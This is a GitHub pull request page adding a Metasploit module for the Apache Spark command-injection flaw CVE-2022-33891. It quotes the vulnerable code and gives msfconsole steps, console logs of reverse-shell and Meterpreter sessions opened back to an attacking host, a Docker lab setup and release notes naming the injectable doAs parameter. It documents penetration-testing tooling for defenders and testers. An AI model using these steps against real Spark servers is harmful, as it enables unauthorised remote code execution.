Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added Apache Spark RCE - CVE-2022-33891 #16944

Merged
merged 10 commits into from
Sep 7, 2022

Conversation

h00die-gr3y
Copy link
Contributor

@h00die-gr3y h00die-gr3y commented Aug 25, 2022

Introduction

This module exploits a remote code execution vulnerability (CVE-2022-33891) of Apache Spark.
The Apache Spark UI offers the possibility to enable ACLs via the configuration option spark.acls.enable.
With an authentication filter, this checks whether a user has access permissions to view or modify the application.
The permission check is coded using a bash command shell and the unix id command that allows a malicious shell command injection.

Ironically the spark.acls.enable configuration setting is designed to improve the security access within the Spark application, but unfortunately this configuration setting triggers the vulnerable code below.

private def getUnixGroups(username: String): Set[String] = {
    val cmdSeq = Seq("bash", "-c", "id -Gn " + username)
    // we need to get rid of the trailing "\n" from the result of command execution
    Utils.executeAndGetOutput(cmdSeq).stripLineEnd.split(" ").toSet
    Utils.executeAndGetOutput(idPath ::  "-Gn" :: username :: Nil).stripLineEnd.split(" ").toSet
  }
}

This will result in arbitrary shell command execution as the user Spark.

This affects Apache Spark versions 3.0.3 and earlier, versions 3.1.1 to 3.1.2, and versions 3.2.0 to 3.2.1

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • use exploit/linux/http/apache_spark_rce_cve_2022_33891
  • set RHOSTS <TARGET HOSTS>
  • set LHOST <Address of Attacking Machine>
  • exploit
  • You should get a shell or meterpreter as the spark user.
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
[*] Using configured payload cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.100.7
lhost => 192.168.100.7
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhosts 192.168.100.43
rhosts => 192.168.100.43
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > options

Module options (exploit/linux/http/apache_spark_rce_cve_2022_33891):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     192.168.100.43   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      8080             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The URI of the vulnerable instance
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/python/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.100.7    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix (In-Memory)


msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > exploit

[*] Started reverse TCP handler on 192.168.100.7:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.100.43:8080 can be exploited!
[*] Perform sleep test of 10 seconds...
[+] The target is vulnerable. Sleep was around 10 seconds [10.033867019]!
[*] Exploiting...
[*] Sending stage (40164 bytes) to 192.168.100.43
[-] Meterpreter session 3 is not valid and will be closed
[*] 192.168.100.43 - Meterpreter session 3 closed.
[*] Sending stage (40168 bytes) to 192.168.100.43
[*] Meterpreter session 4 opened (192.168.100.7:4444 -> 192.168.100.43:62618) at 2022-08-26 10:49:46 +0000

meterpreter > sysinfo
Computer     : 7a26a9fb7ce3
OS           : Linux 5.10.104-linuxkit #1 SMP Thu Mar 17 17:08:06 UTC 2022
Architecture : x64
Meterpreter  : python/linux
meterpreter > getuid
Server username: spark

Installing a vulnerable version of Apache Spark to test this vulnerability is quite easy.

To set the server up use the following docker-compose.yml file and follow the steps below:

version: '2'

services:
  spark:
    image: docker.io/bitnami/spark:3.1.1
    environment:
      - SPARK_MODE=master
      - SPARK_RPC_AUTHENTICATION_ENABLED=no
      - SPARK_RPC_ENCRYPTION_ENABLED=no
      - SPARK_LOCAL_STORAGE_ENCRYPTION_ENABLED=no
      - SPARK_SSL_ENABLED=no
    ports:
      - '8080:8080'
  1. Create the docker-compose.yml in your preferred directory and run docker-compose up. Let the container spin up.
  2. In a new terminal, enter sudo docker exec -it spark_spark_1 /bin/bash
  3. In the container bash session, enter: echo "spark.acls.enable true" >> conf/spark-defaults.conf
  4. cat the contents of spark-defaults.conf to make sure it looks good.
  5. Exit the interactive bash shell and Ctrl-C your docker-compose process.
  6. Once the containers have powered down gracefully, rerun docker-compose up

Once the server and application is up, it's vulnerable and you can access it on port 8080 for testing...

Limitations

The check to determine if the application is vulnerable is based on a 403 response and the successful execution of a randomized sleep command.
The exploit is a blind command injection, so there is nothing reflected back on the page during the command execution.
Timing the sleep command execution is therefore a pretty safe bet to check if the command injection is successful.

Credits goes to HuskyHacks that used this test in his POC on GitHub.

@github-actions
Copy link

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@gwillcox-r7 gwillcox-r7 self-assigned this Aug 25, 2022
@h00die-gr3y h00die-gr3y marked this pull request as ready for review August 26, 2022 16:10
@gwillcox-r7 gwillcox-r7 removed their assignment Aug 29, 2022
@space-r7 space-r7 self-assigned this Aug 31, 2022
@space-r7
Copy link
Contributor

space-r7 commented Sep 7, 2022

Hey @h00die-gr3y, thank you for the module! Code and docs look good to me. I added curl as a possible command stager flavor, as printf wasn't working for me:

Test output
msf6 > use exploit/linux/http/apache_spark_rce_cve_2022_33891
[*] Using configured payload cmd/unix/reverse_python
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > 
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set lhost 192.168.2.33
lhost => 192.168.2.33
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set rport 5555
rport => 5555
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > run

[*] Started reverse TCP handler on 192.168.2.33:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 127.0.0.1:5555 can be exploited!
[*] Performing command injection test issuing a sleep command of 8 seconds.
[*] Elapsed time: 8.008888000040315 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Exploiting...
[*] Command shell session 1 opened (192.168.2.33:4444 -> 192.168.2.33:53785) at 2022-09-07 12:39:01 -0500
whoami

spark
^C
Abort session 1? [y/N]  y

[*] 127.0.0.1 - Command shell session 1 closed.  Reason: User exit
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > set payload cmd/unix/python/meterpreter/reverse_tcp
payload => cmd/unix/python/meterpreter/reverse_tcp
msf6 exploit(linux/http/apache_spark_rce_cve_2022_33891) > run

[*] Started reverse TCP handler on 192.168.2.33:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 127.0.0.1:5555 can be exploited!
[*] Performing command injection test issuing a sleep command of 7 seconds.
[*] Elapsed time: 7.010897999978624 seconds.
[+] The target is vulnerable. Successfully tested command injection.
[*] Exploiting...
[*] Sending stage (40164 bytes) to 192.168.2.33
[*] Meterpreter session 2 opened (192.168.2.33:4444 -> 192.168.2.33:53792) at 2022-09-07 12:39:45 -0500

meterpreter > getuid
Server username: spark
meterpreter > sysinfo
Computer     : 531a808cbb95
OS           : Linux 5.10.76-linuxkit #1 SMP Mon Nov 8 10:21:19 UTC 2021
Architecture : x64
Meterpreter  : python/linux
meterpreter >

space-r7 added a commit that referenced this pull request Sep 7, 2022
@space-r7 space-r7 merged commit 6c1f7c2 into rapid7:master Sep 7, 2022
@HuskyHacks
Copy link
Contributor

Love to see it 💖 well done @h00die-gr3y

@space-r7
Copy link
Contributor

space-r7 commented Sep 7, 2022

Release Notes

This exploits an unauthenticated command injection vulnerability in Apache Spark. The spark.acls.enable setting permits injection through the id command via a POST request containing arbitrary code in the doAs parameter. The exploit achieves unauthenticated RCE as the spark user.

@space-r7 space-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 7, 2022
@h00die-gr3y
Copy link
Contributor Author

Thanks Guys for the review and code suggestions !!! Up to the next one ;-)

@h00die-gr3y h00die-gr3y deleted the CVE-2022-33891 branch September 16, 2022 10:47
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
docs module rn-modules release notes for new or majorly enhanced modules
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

7 participants